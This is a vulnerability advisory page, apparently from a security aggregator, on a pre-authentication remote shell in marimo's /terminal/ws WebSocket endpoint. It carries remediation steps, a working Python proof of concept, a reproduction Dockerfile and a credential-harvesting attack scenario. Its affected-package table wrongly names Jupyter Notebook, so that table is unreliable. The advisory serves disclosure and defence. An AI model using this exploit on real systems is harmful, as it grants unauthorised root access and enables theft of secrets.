Marimo, a Python reactive notebook with 19.6k GitHub stars, has a critical pre-authentication RCE: the `/terminal/ws` WebSocket endpoint completely skips auth validation and forks a PTY shell to any unauthenticated caller — bypassing even explicitly configured access tokens. A CISO should care because exploitation requires a single WebSocket connection with no credentials, the public advisory includes a working proof-of-concept, default Docker deployments run as root giving full host access, and 2,884 downstream dependents means this tool is embedded across AI/ML development toolchains. Upgrade immediately to marimo >= 0.23.0; if patching is blocked, firewall port 2718 to trusted IPs only and never expose Marimo directly to the internet.
What is the risk?
Critical. The attack requires zero authentication, zero AI/ML knowledge, and the PoC is publicly available in the advisory itself — this is script-kiddie territory. The auth middleware uses Starlette's passive UnauthenticatedUser pattern, meaning auth is architecturally enforced at the endpoint level; the terminal endpoint simply has no such enforcement. In shared AI development environments (JupyterHub-style, cloud notebooks, internal MLOps platforms), a single exposed port is full compromise. Default root execution in Docker amplifies blast radius to container escape pre-conditions. OpenSSF Scorecard of 4.8/10 and 2 prior CVEs in the same package suggest a pattern of security debt.
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Jupyter Notebook | pip | < 0.23.0 | 0.23.0 |
Do you use Jupyter Notebook? You're affected.
How severe is it?
What should I do?
5 steps-
PATCH
Upgrade to marimo >= 0.23.0 immediately — this release adds
validate_auth()to the/terminal/wsendpoint. -
NETWORK
If patching is blocked, firewall port 2718 (default) to trusted IPs only at the host or network level. Never expose Marimo to the public internet.
-
RUNTIME
Run Marimo containers as a non-root user (
--user 1000:1000in Docker); this limits post-exploitation impact. -
DETECT
Audit process trees on Marimo hosts for unexpected child processes forked by the marimo server (unusual shells, curl/wget, nc). Check for unexpected outbound connections from the Marimo container.
-
ROTATE
If hosts were exposed, assume environment variables and mounted secrets are compromised — rotate all API keys, database passwords, and cloud credentials accessible from those hosts.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is GHSA-2679-6mx9-h9xc?
Marimo, a Python reactive notebook with 19.6k GitHub stars, has a critical pre-authentication RCE: the `/terminal/ws` WebSocket endpoint completely skips auth validation and forks a PTY shell to any unauthenticated caller — bypassing even explicitly configured access tokens. A CISO should care because exploitation requires a single WebSocket connection with no credentials, the public advisory includes a working proof-of-concept, default Docker deployments run as root giving full host access, and 2,884 downstream dependents means this tool is embedded across AI/ML development toolchains. Upgrade immediately to marimo >= 0.23.0; if patching is blocked, firewall port 2718 to trusted IPs only and never expose Marimo directly to the internet.
Is GHSA-2679-6mx9-h9xc actively exploited?
No confirmed active exploitation of GHSA-2679-6mx9-h9xc has been reported, but organizations should still patch proactively.
How to fix GHSA-2679-6mx9-h9xc?
1. PATCH: Upgrade to marimo >= 0.23.0 immediately — this release adds `validate_auth()` to the `/terminal/ws` endpoint. 2. NETWORK: If patching is blocked, firewall port 2718 (default) to trusted IPs only at the host or network level. Never expose Marimo to the public internet. 3. RUNTIME: Run Marimo containers as a non-root user (`--user 1000:1000` in Docker); this limits post-exploitation impact. 4. DETECT: Audit process trees on Marimo hosts for unexpected child processes forked by the marimo server (unusual shells, curl/wget, nc). Check for unexpected outbound connections from the Marimo container. 5. ROTATE: If hosts were exposed, assume environment variables and mounted secrets are compromised — rotate all API keys, database passwords, and cloud credentials accessible from those hosts.
What systems are affected by GHSA-2679-6mx9-h9xc?
This vulnerability affects the following AI/ML architecture patterns: AI development notebooks, MLOps pipelines, model experimentation environments, collaborative data science platforms, cloud-hosted notebook infrastructure.
What is the CVSS score for GHSA-2679-6mx9-h9xc?
No CVSS score has been assigned yet.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0037 Data from Local System AML.T0049 Exploit Public-Facing Application AML.T0050 Command and Scripting Interpreter AML.T0055 Unsecured Credentials AML.T0072 Reverse Shell Compliance Controls Affected
What are the technical details?
Original Advisory
## Summary Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint `/terminal/ws` lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., `/ws`) that correctly call `validate_auth()` for authentication, the `/terminal/ws` endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. ## Affected Versions Marimo <= 0.20.4 (current latest) ## Vulnerability Details ### Root Cause: Terminal WebSocket Missing Authentication `marimo/_server/api/endpoints/terminal.py` lines 340-356: ```python @router.websocket("/ws") async def websocket_endpoint(websocket: WebSocket) -> None: app_state = AppState(websocket) if app_state.mode != SessionMode.EDIT: await websocket.close(...) return if not supports_terminal(): await websocket.close(...) return # No authentication check! await websocket.accept() # Accepts connection directly # ... child_pid, fd = pty.fork() # Creates PTY shell ``` Compare with the correctly implemented `/ws` endpoint (`ws_endpoint.py` lines 67-82): ```python @router.websocket("/ws") async def websocket_endpoint(websocket: WebSocket) -> None: app_state = AppState(websocket) validator = WebSocketConnectionValidator(websocket, app_state) if not await validator.validate_auth(): # Correct auth check return ``` ### Authentication Middleware Limitation Marimo uses Starlette's `AuthenticationMiddleware`, which marks failed auth connections as `UnauthenticatedUser` but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level `@requires()` decorators or `validate_auth()` calls. The `/terminal/ws` endpoint has neither a `@requires("edit")` decorator nor a `validate_auth()` call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active. ### Attack Chain 1. WebSocket connect to `ws://TARGET:2718/terminal/ws` (no auth needed) 2. `websocket.accept()` accepts the connection directly 3. `pty.fork()` creates a PTY child process 4. Full interactive shell with arbitrary command execution 5. Commands run as root in default Docker deployments A single WebSocket connection yields a complete interactive shell. ## Proof of Concept ```python import websocket import time # Connect without any authentication ws = websocket.WebSocket() ws.connect('ws://TARGET:2718/terminal/ws') time.sleep(2) # Drain initial output try: while True: ws.settimeout(1) ws.recv() except: pass # Execute arbitrary command ws.settimeout(10) ws.send('id\n') time.sleep(2) print(ws.recv()) # uid=0(root) gid=0(root) groups=0(root) ws.close() ``` ### Reproduction Environment ```dockerfile FROM python:3.12-slim RUN pip install --no-cache-dir marimo==0.20.4 RUN mkdir -p /app/notebooks RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py WORKDIR /app/notebooks EXPOSE 2718 CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."] ``` ### Reproduction Result With auth enabled (server generates random `access_token`), the exploit bypasses authentication entirely: ``` $ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname" [+] No auth needed! Terminal WebSocket connected [+] Output: uid=0(root) gid=0(root) groups=0(root) root ddfc452129c3 ``` ## Suggested Remediation 1. Add authentication validation to `/terminal/ws` endpoint, consistent with `/ws` using `WebSocketConnectionValidator.validate_auth()` 2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints 3. Terminal functionality should only be available when explicitly enabled, not on by default ## Impact An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.
Exploitation Scenario
An adversary scans for port 2718 (Marimo default) across cloud environments or internal AI development networks. They connect to `ws://TARGET:2718/terminal/ws` with a standard WebSocket client — no auth header, no token, no prior session. The server accepts the connection and forks a PTY process. The attacker now has an interactive root shell inside the Marimo container. They enumerate environment variables to harvest LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY), database connection strings, and cloud credentials. In a typical AI development setup, they pivot to the connected PostgreSQL database containing training data, exfiltrate model weights from mounted volumes, or use the harvested cloud credentials to access S3 buckets or GCS with datasets. If the container runs with privileged mode or mounted Docker socket (common in MLOps setups), full host compromise follows.
Weaknesses (CWE)
CWE-306 — Missing Authentication for Critical Function: The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
- [Architecture and Design] Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected, including those channels that are assumed to be accessible only by authorized parties. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port. In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate
- [Architecture and Design] For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Source: MITRE CWE corpus.
References
Timeline
Related Vulnerabilities
CVE-2026-44727 9.0 jupyter-server: stored XSS yields kernel RCE
Same package: notebook CVE-2026-52798 8.9 Gogs: Stored XSS via .ipynb Markdown re-render bypass
Same package: notebook CVE-2026-42557 8.8 JupyterLab: one-click RCE via notebook HTML cell output
Same package: notebook CVE-2026-42266 8.8 JupyterLab: Extension allow-list bypass enables privesc
Same package: notebook CVE-2026-5422 8.1 jupyter-server: path traversal exposes sibling dir files
Same package: notebook